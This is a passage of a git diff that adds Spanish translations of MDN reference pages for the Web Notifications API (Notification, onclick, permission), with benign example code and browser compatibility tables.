+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Web Notifications')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+  <tr>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Navegadores_Compatibles">Navegadores Compatibles</h2>
+
+<p>{{Page("/en-US/docs/Web/API/Notification","Browser compatibility")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("Notification")}}</li>
+ <li><a href="/en-US/docs/WebAPI/Using_Web_Notifications" title="/en-US/docs/WebAPI/Using_Web_Notifications">Using Web Notifications</a></li>
+</ul>
diff --git a/files/es/web/api/notification/index.html b/files/es/web/api/notification/index.html
new file mode 100644
index 0000000000..a673bc5739
--- /dev/null
+++ b/files/es/web/api/notification/index.html
@@ -0,0 +1,430 @@
+---
+title: Notification
+slug: Web/API/notification
+translation_of: Web/API/Notification
+---
+<div>{{APIRef("Web Notifications")}}</div>
+
+<div></div>
+
+<p>La interfaz <code>Notification</code> de la <a href="https://developer.mozilla.org/en-US/docs/Web/API/Notifications_API">Notifications API</a> se usa para configurar y mostrar notificaciones de escritorio al usuario. La apariencia y las funcionalidad especificas de esta notificacion varia a traves de las distintas plataformas, pero generalmente esta plataformas proveen un camino para proveer informacion al usuario de manera asincronica.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("Notification.Notification", "Notification()")}}</dt>
+ <dd>Crea una nueva instancia del objecto <code>Notification</code>.</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<h3 id="Propiedades_Estáticas">Propiedades Estáticas</h3>
+
+<p>Estas propiedades solo estan disponibles en el objecto <code>Notification</code> en sí mismo.</p>
+
+
+
+<dl>
+ <dt>{{domxref("Notification.permission")}} {{readonlyinline}}</dt>
+ <dd>Una cadena que representa el permiso actual para mostrar notificaciones. Los valores posibles son:</dd>
+</dl>
+
+
+
+<ul>
+ <li><code>denied</code> (El usuario rechaza que las notificaciones sean mostradas).</li>
+ <li><code>granted</code> (El usuario acepta que las notificaciones sean mostradas).</li>
+ <li><code>default</code> (La elección del usuario es desconocida por lo tanto el navegador actuará como si el valor fuese denied).</li>
+</ul>
+
+<dl>
+</dl>
+
+<h3 id="Propiedades_de_Instancia">Propiedades de Instancia</h3>
+
+<p>Estas propiedades solo están disponibles en instancias del objecto <code>Notification</code>.</p>
+
+<dl>
+ <dt>{{domxref("Notification.actions")}} {{readonlyinline}}</dt>
+ <dd>Arreglo de acciones de la notificación, como se especifica en el parámetro de opciones del constructor.</dd>
+ <dt>{{domxref("Notification.badge")}} {{readonlyinline}}</dt>
+ <dd>URL de la imagen usada para representar la notificación cuando no hay espacio suficiente para mostrarla.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Notification.title")}} {{readonlyinline}}</dt>
+ <dd>El título de la notificación como está especificado en el parámetro options del constructor.</dd>
+ <dt>{{domxref("Notification.dir")}} {{readonlyinline}}</dt>
+ <dd>La dirección del texto de la notificación como está especificado en el parámetro options del constructor.</dd>
+ <dt>{{domxref("Notification.lang")}} {{readonlyinline}}</dt>
+ <dd>El código del lenguaje de la notificación como está especificado en el parámetro options del constructor.</dd>
+ <dt>{{domxref("Notification.body")}} {{readonlyinline}}</dt>
+ <dd>The body string de la notificación como está especificado en el parámetro options del constructor.</dd>
+ <dt>{{domxref("Notification.tag")}} {{readonlyinline}}</dt>
+ <dd>El ID de la notificación (si hay) como está especificado en el parámetro options del constructor.</dd>
+ <dt>{{domxref("Notification.icon")}} {{readonlyinline}}</dt>
+ <dd>La URL de la imagen usada como ícono de la notificación como está especificado en el parámetro options del constructor.</dd>
+ <dt>{{domxref("Notification.image")}} {{readonlyinline}}</dt>
+ <dd>URL de una imagen para mostrar como parte de la notificación, al igual que se especifica en el parámetro de opciones del constructor.</dd>
+ <dt>{{domxref("Notification.data")}} {{readonlyinline}}</dt>
+ <dd>Retorna <span id="result_box" lang="es"><span>un clon</span> <span>estructurado de los</span> <span>datos de la notificación</span><span>.</span></span></dd>
+ <dt>{{domxref("Notification.requireInteraction")}} {{readonlyinline}}</dt>
+ <dd>Un {{jsxref("Boolean")}} indicando en dispositivos pantallas lo suficientemente grandes, una notificación debería permanecer activa hasta que el usuario haga click o la descarte.</dd>
+ <dt>{{domxref("Notification.silent")}} {{readonlyinline}}</dt>
+ <dd>Especifica si la notificación debería ser silenciada, por ejemplo sin generar sonidos o vibraciones, <span id="result_box" lang="es"><span>independientemente de</span> <span>la configuración del dispositivo</span><span>.</span></span></dd>
+ <dt>{{domxref("Notification.timestamp")}} {{readonlyinline}}</dt>
+ <dd>Especifica el tiempo en la cual una notificación fué creada o aplicable (pasado, presente o futuro).</dd>
+ <dt>{{domxref("Notification.vibrate")}} {{readonlyinline}}</dt>
+ <dd>Especifica un patrón de vibración para dispositivos que disponen de hardware para emitirlo. </dd>
+</dl>
+
+<h4 id="Propiedades_no_soportadas">Propiedades no soportadas</h4>
+
+<p>Las siguientes propiedades están listadas en las especificaciones más actualizadas, pero aún no están soportadas por los navegadores. Es aconsejable verificarlas regularmente para ver si el estado de ellas ha sido actualizado, y háganos saber si encuentra información desactualizada.</p>
+
+<dl>
+ <dt>{{domxref("Notification.noscreen")}} {{readonlyinline}}</dt>
+ <dd>Specifies whether the notification firing should enable the device's screen or not.</dd>
+ <dt>{{domxref("Notification.renotify")}} {{readonlyinline}}</dt>
+ <dd><span id="result_box" lang="es"><span>Especifica si se debe notificar al usuario después de que una notificación nueva reemplace a una anterior.</span></span></dd>
+ <dt>{{domxref("Notification.sound")}} {{readonlyinline}}</dt>
+ <dd><span id="result_box" lang="es"><span>Especifica un recurso de sonido para reproducir cuando se activa la notificación, en lugar del sonido de notificación del sistema predeterminado.</span></span></dd>
+ <dt>{{domxref("Notification.sticky")}} {{readonlyinline}}</dt>
+ <dd>
+ <div id="tts_button"><span id="result_box" lang="es"><span>Especifica si la notificación debe ser 'fija', es decir, no fácilmente eliminable por el usuario.</span></span></div>
+ </dd>
+ <dt>{{domxref("Notification.vibrate")}} {{readonlyinline}}</dt>
+ <dd>
+ <div><span id="result_box" lang="es"><span>Especifica un patrón de vibración para los dispositivos con hardware de </span></span><span id="result_box" lang="es"><span class="alt-edited">vibraciones para emitir.</span></span></div>
+ </dd>
+</dl>
+
+<h4 id="Manejador_de_Eventos(Event_Handler)">Manejador de Eventos(Event Handler)</h4>
+
+<dl>
+ <dt>{{domxref("Notification.onclick")}}</dt>
+ <dd>Un manejador para el {{event("click")}} event. Sera inicializado cada vez que el usuario de click en la notificacion.</dd>
+ <dt>{{domxref("Notification.onerror")}}</dt>
+ <dd>A handler for the {{event("error")}} event. It is triggered each time the notification encounters an error.</dd>
+</dl>
+
+<h4 id="Obsolete_handlers">Obsolete handlers</h4>
+
+<p>The following event handlers are still supported as listed in the {{anch("browser compatibility")}} section below, but are no longer listed in the current spec. It is safe therefore to assume they are obsolete, and may stop working in future browser versions.</p>
+
+<dl>
+ <dt>{{domxref("Notification.onclose")}}</dt>
+ <dd>A handler for the {{event("close")}} event. It is triggered when the user closes the notification.</dd>
+ <dt>{{domxref("Notification.onshow")}}</dt>
+ <dd>A handler for the {{event("show")}} event. It is triggered when the notification is displayed.</dd>
+ <dt>
+ <h2 id="Methods">Methods</h2>
+
+ <h3 id="Static_methods">Static methods</h3>
+ <span id="result_box" lang="es"><span>Estos métodos están disponibles solo en el objeto de </span></span><code>Notificación</code><span lang="es"><span> en sí.</span></span></dt>
+ <dd></dd>
+ <dt>{{domxref("Notification.requestPermission()")}}</dt>
+ <dd><span id="result_box" lang="es"><span>Solicita permiso del usuario para mostrar notificaciones.</span></span></dd>
+ <dt>
+ <h3 id="Instance_methods">Instance methods</h3>
+
+ <p>These properties are available only on an instance of the <code>Notification</code> object or through its <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain"><code>prototype</code></a>. The <code>Notification</code> object also inherits from the {{domxref("EventTarget")}} interface.</p>
+ </dt>
+ <dt>{{domxref("Notification.close()")}}</dt>
+ <dd>Programmatically closes a notification.</dd>
+ <dt>
+ <h2 id="Example">Example</h2>
+
+ <p>Assume this basic HTML:</p>
+
+ <pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>button</span> <span class="attr-name token">onclick</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>notifyMe()<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Notify me!<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>button</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+ <p>It's possible to send a notification as follows — here we present a fairly verbose and complete set of code you could use if you wanted to first check whether notifications are supported, then check if permission has been granted for the current origin to send notifications, then request permission if required, before then sending a notification.</p>
+
+ <pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">notifyMe</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="comment token">// Let's check if the browser supports notifications</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span><span class="punctuation token">(</span><span class="string token">"Notification"</span> <span class="keyword token">in</span> window<span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="function token">alert</span><span class="punctuation token">(</span><span class="string token">"This browser does not support desktop notification"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="comment token">// Let's check whether notification permissions have already been granted</span>
+  <span class="keyword token">else</span> <span class="keyword token">if</span> <span class="punctuation token">(</span>Notification<span class="punctuation token">.</span>permission <span class="operator token">===</span> <span class="string token">"granted"</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="comment token">// If it's okay let's create a notification</span>
+    <span class="keyword token">var</span> notification <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Notification</span><span class="punctuation token">(</span><span class="string token">"Hi there!"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="comment token">// Otherwise, we need to ask the user for permission</span>
+  <span class="keyword token">else</span> <span class="keyword token">if</span> <span class="punctuation token">(</span>Notification<span class="punctuation token">.</span>permission <span class="operator token">!==</span> <span class="string token">'denied'</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    Notification<span class="punctuation token">.</span><span class="function token">requestPermission</span><span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span>permission<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="comment token">// If the user accepts, let's create a notification</span>
+      <span class="keyword token">if</span> <span class="punctuation token">(</span>permission <span class="operator token">===</span> <span class="string token">"granted"</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="keyword token">var</span> notification <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Notification</span><span class="punctuation token">(</span><span class="string token">"Hi there!"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span>
+    <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="comment token">// At last, if the user has denied notifications, and you </span>
+  <span class="comment token">// want to be respectful there is no need to bother them any more.</span>
+<span class="punctuation token">}</span></code></pre>
+
+ <p>{{EmbedLiveSample('Example', '100%', 30)}}</p>
+
+ <p>In many cases, you don't need to be this verbose. For example, in our <a href="http://mdn.github.io/emogotchi/">Emogotchi demo</a> (<a href="https://github.com/mdn/emogotchi">see source code</a>), we simply run {{domxref("Notification.requestPermission")}} regardless to make sure we can get permission to send notifications (this uses the newer promise-based method syntax):</p>
+
+ <pre class="brush: js line-numbers  language-js"><code class="language-js">Notification<span class="punctuation token">.</span><span class="function token">requestPermission</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">then</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span>result<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>result<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+ <p>Then we run a simple <code>spawnNotification()</code> function when we want to fire a notification — this is passed arguments to specify the body, icon and title we want, then it creates the necessary <code>options</code> object and fires the notification using the {{domxref("Notification.Notification","Notification()")}} constructor.</p>
+
+ <pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">spawnNotification</span><span class="punctuation token">(</span>theBody<span class="punctuation token">,</span>theIcon<span class="punctuation token">,</span>theTitle<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> options <span class="operator token">=</span> <span class="punctuation token">{</span>
+      body<span class="punctuation token">:</span> theBody<span class="punctuation token">,</span>
+      icon<span class="punctuation token">:</span> theIcon
+  <span class="punctuation token">}</span>
+  <span class="keyword token">var</span> n <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Notification</span><span class="punctuation token">(</span>theTitle<span class="punctuation token">,</span>options<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+ <h2 id="Specifications">Specifications</h2>
+
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th scope="col">Specification</th>
+    <th scope="col">Status</th>
+    <th scope="col">Comment</th>
+   </tr>
+   <tr>
+    <td>{{SpecName('Web Notifications')}}</td>
+    <td>{{Spec2('Web Notifications')}}</td>
+    <td>Living standard</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <h2 id="Browser_compatibility">Browser compatibility</h2>
+
+ <p>{{CompatibilityTable}}</p>
+
+ <div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>5{{property_prefix("webkit")}}<sup>[1]</sup><br>
+     22</td>
+    <td>4.0 {{property_prefix("moz")}}<sup>[2]</sup><br>
+     22</td>
+    <td>{{CompatNo}}</td>
+    <td>25</td>
+    <td>6<sup>[3]</sup></td>
+   </tr>
+   <tr>
+    <td><code>icon</code></td>
+    <td>5{{property_prefix("webkit")}}<sup>[1]</sup><br>
+     22</td>
+    <td>4.0 {{property_prefix("moz")}}<sup>[2]</sup><br>
+     22</td>
+    <td>{{CompatNo}}</td>
+    <td>25</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+   <tr>
+    <td>Available in workers</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoDesktop("41.0")}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+   <tr>
+    <td><code>silent</code></td>
+    <td>{{CompatChrome(43.0)}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+   <tr>
+    <td><code>noscreen</code>, <code>sticky</code></td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+   <tr>
+    <td><code>sound</code></td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+   <tr>
+    <td><code>renotify</code></td>
+    <td>{{CompatChrome(50.0)}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+   <tr>
+    <td>Promise-based <code>Notification.requestPermission()</code></td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatGeckoDesktop("47.0")}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+ </div>
+
+ <div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Android</th>
+    <th>Android Webview</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>Firefox OS</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+    <th>Chrome for Android</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{CompatUnknown}}</td>
+    <td>
+     <p>{{CompatVersionUnknown}}</p>
+    </td>
+    <td>4.0{{property_prefix("moz")}}<sup>[2]</sup><br>
+     22</td>
+    <td>1.0.1{{property_prefix("moz")}}<sup>[2]</sup><br>
+     1.2</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatNo}}</td>
+    <td>
+     <p>{{CompatVersionUnknown}}</p>
+    </td>
+   </tr>
+   <tr>
+    <td><code>icon</code></td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>4.0{{property_prefix("moz")}}<sup>[2]</sup><br>
+     22</td>
+    <td>1.0.1{{property_prefix("moz")}}<sup>[2]</sup><br>
+     1.2</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+   <tr>
+    <td>Available in workers</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoMobile("41.0")}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+   <tr>
+    <td><code>silent</code></td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatChrome(43.0)}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatChrome(43.0)}}</td>
+   </tr>
+   <tr>
+    <td><code>noscreen</code>, <code>sticky</code></td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+   <tr>
+    <td><code>sound</code></td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+   <tr>
+    <td><code>renotify</code></td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatChrome(50.0)}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+   <tr>
+    <td>Promise-based <code>Notification.requestPermission()</code></td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatGeckoMobile("47.0")}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+ </div>
+
+ <p>[1] Before Chrome 22, the support for notification followed an <a href="http://www.chromium.org/developers/design-documents/desktop-notifications/api-specification">old prefixed version of the specification</a> and used the {{domxref("window.navigator.webkitNotifications","navigator.webkitNotifications")}} object to instantiate a new notification.</p>
+
+ <p>Before Chrome 32, {{domxref("Notification.permission")}} was not supported.</p>
+
+ <p>Before Chrome 42, service worker additions were not supported.</p>
+
+ <p>Starting in Chrome 49, notifications do not work in incognito mode.</p>
+
+ <p>[2] Prior to Firefox 22 (Firefox OS &lt;1.2), the instantiation of a new notification must be done with the {{domxref("window.navigator.mozNotification", "navigator.mozNotification")}} object through its <code>createNotification</code> method.</p>
+
+ <p>Prior to Firefox 22 (Firefox OS &lt;1.2), the Notification was displayed when calling the <code>show</code> method and supported only the <code>click</code> and <code>close</code> events.</p>
+
+ <p>Nick Desaulniers wrote a <a href="https://github.com/nickdesaulniers/fxos-irc/blob/master/js/notification.js">Notification shim</a> to cover both newer and older implementations.</p>
+
+ <p>One particular Firefox OS issue is that you can <a href="https://github.com/nickdesaulniers/fxos-irc/blob/0160cf6c3a2b5c9fe33822aaf6bcba3b7e846da9/my.js#L171">pass a path to an icon</a> to use in the notification, but if the app is packaged you cannot use a relative path like <code>/my_icon.png</code>. You also can't use <code>window.location.origin + "/my_icon.png"</code> because <code>window.location.origin</code> is null in packaged apps. The <a href="https://developer.mozilla.org/en-US/Apps/Developing/Manifest#origin">manifest origin field</a> fixes this, but it is only available in Firefox OS 1.1+. A potential solution for supporting Firefox OS &lt;1.1 is to <a href="https://github.com/nickdesaulniers/fxos-irc/blob/0160cf6c3a2b5c9fe33822aaf6bcba3b7e846da9/my.js#L168">pass an absolute URL to an externally hosted version of the icon</a>. This is less than ideal as the notification is displayed immediately without the icon, then the icon is fetched, but it works on all versions of Firefox OS.</p>
+
+ <p>When using notifications  in a Firefox OS app, be sure to add the <code>desktop-notification</code> permission in your manifest file. Notifications can be used at any permission level, hosted or above: <code>"permissions": { "desktop-notification": {} }</code></p>
+
+ <p>[3] Safari started to support notification with Safari 6, but only on Mac OSX 10.8+ (Mountain Lion).</p>
+
+ <h2 id="See_also">See also</h2>
+ <a href="https://developer.mozilla.org/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Using the Notifications API</a></dt>
+</dl>
diff --git a/files/es/web/api/notification/onclick/index.html b/files/es/web/api/notification/onclick/index.html
new file mode 100644
index 0000000000..211947a1b8
--- /dev/null
+++ b/files/es/web/api/notification/onclick/index.html
@@ -0,0 +1,61 @@
+---
+title: Notification.onclick
+slug: Web/API/notification/onclick
+tags:
+  - API
+  - DOM
+  - Notifications
+  - Propiedad
+  - Referencia
+  - onclick
+translation_of: Web/API/Notification/onclick
+---
+<p>{{APIRef("Web Notifications")}}</p>
+
+<p>La propiedad <code>onclick</code> de la interfaz {{domxref("Notification")}} especifica un event listener para recibir eventos {{event("click")}}. Estos eventos ocurren cuando el usuario hace un click sobre el {{domxref("Notification")}} mostrado.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="eval">Notification.onclick = function(event) { ... };
+</pre>
+
+<p>El comportamiento por defecto es mover el foco al viewport del <a href="https://html.spec.whatwg.org/multipage/browsers.html#browsing-context">sitio de contexto</a> de dicha notificación. Si no deseas este comportamiento, puedes llamar <code><a href="/en-US/docs/Web/API/Event/preventDefault">preventDefault()</a></code> en el objeto del evento.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>En el siguiente ejemplo, utilizamos un manejador <code>onclick</code> para abrir un sitio web en una nueva pestaña (especificado con la inclusión del parámetro <code>'_blank'</code>) una vez que la notifación es cliqueada.</p>
+
+<pre class="brush: js">notification.onclick = function(event) {
+  event.preventDefault(); // Previene al buscador de mover el foco a la pestaña del Notification
+  window.open('http://www.mozilla.org', '_blank');
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Web Notifications','#dom-notification-onclick','onclick')}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{Page("/en-US/docs/Web/API/Notification","Browser compatibility")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>{{domxref("Notification")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Notifications_API/Using_the_Notifications_API">Usando la API de Notifications</a></li>
+</ul>
diff --git a/files/es/web/api/notification/permission/index.html b/files/es/web/api/notification/permission/index.html
new file mode 100644
index 0000000000..d528e2f9e0
--- /dev/null
+++ b/files/es/web/api/notification/permission/index.html
@@ -0,0 +1,191 @@
+---
+title: Notification.permission
+slug: Web/API/notification/permission
+translation_of: Web/API/Notification/permission
+---
+<p>{{APIRef("Web Notifications")}}</p>
+
+<p>La propiedad <code>permission</code> es una propiedad de sólo lectura de la interfaz {{domxref("Notification")}}. Esta propiedad indica el permiso concedido por el usuario para mostrar notificaciones.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>permission</em> = Notification.permission;</pre>
+
+<h3 id="Return_Value" name="Return_Value">Valor</h3>
+
+<p>Una {{domxref("DOMString")}} que representa el permiso actual. El valor puede ser:</p>
+
+<ul>
+ <li><code>granted</code>: El usuario ha concedido el permiso explicitamente al origen actual para mostrar notificaciones del sistema.</li>
+ <li><code>denied</code>: El usuario ha denegado el permiso explicitamente al origen actual para mostrar notificaciones del sistema.</li>
+ <li>
+  <p><code>default</code>: La decisión del usuario es deconocida; en este caso la aplicación actuará como si el permiso fuese <code>denied</code></p>
+ </li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Podríamos usar el próximo fragmento para:</p>
+
+<ol>
+ <li>Comprobar si las notificaciones están soportadas</li>
+ <li>Comprobar si el permiso ha sido concedido para el origen actual
+  <ol>
+   <li>Si ha sido concedido, lanzar la notificación</li>
+   <li>Si no ha sido concedido, pedir el permiso</li>
+   <li>Si se concede, lanzar la notificación</li>
+  </ol>
+ </li>
+</ol>
+
+<pre class="brush: js">function notifyMe() {
+  // Comprobamos si el navegador soporta las notificaciones
+  if (!("Notification" in window)) {
+    console.log("Este navegador no es compatible con las notificaciones de escritorio");
+  }
+
+  // Comprobamos si los permisos han sido concedidos anteriormente
+  else if (Notification.permission === "granted") {
+    // Si es correcto, lanzamos una notificación
+    var notification = new Notification("Hola!");
+  }
+
+  // Si no, pedimos permiso para la notificación
+  else if (Notification.permission !== 'denied' || Notification.permission === "default") {
+    Notification.requestPermission(function (permission) {
+      // Si el usuario nos lo concede, creamos la notificación
+      if (permission === "granted") {
+        var notification = new Notification("Hola!");
+      }
+    });
+  }
+
+  // Por último, si el usuario ha denegado el permiso, y quieres ser respetuoso, no hay necesidad de molestarlo.
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Web Notifications","#dom-notification-permission","permission")}}</td>
+   <td>{{Spec2('Web Notifications')}}</td>
+   <td>Living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>5 {{ property_prefix("webkit") }} (see notes)<br>
+    22</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4.0 {{ property_prefix("moz") }} (see notes)<br>
+    22</td>
+   <td>{{ CompatNo() }}</td>
+   <td>25</td>
+   <td>6 (see notes)</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("41.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4.0 {{ property_prefix("moz") }} (see notes)<br>
+    22</td>
+   <td>1.0.1 {{ property_prefix("moz") }} (see notes)<br>
+    1.2</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
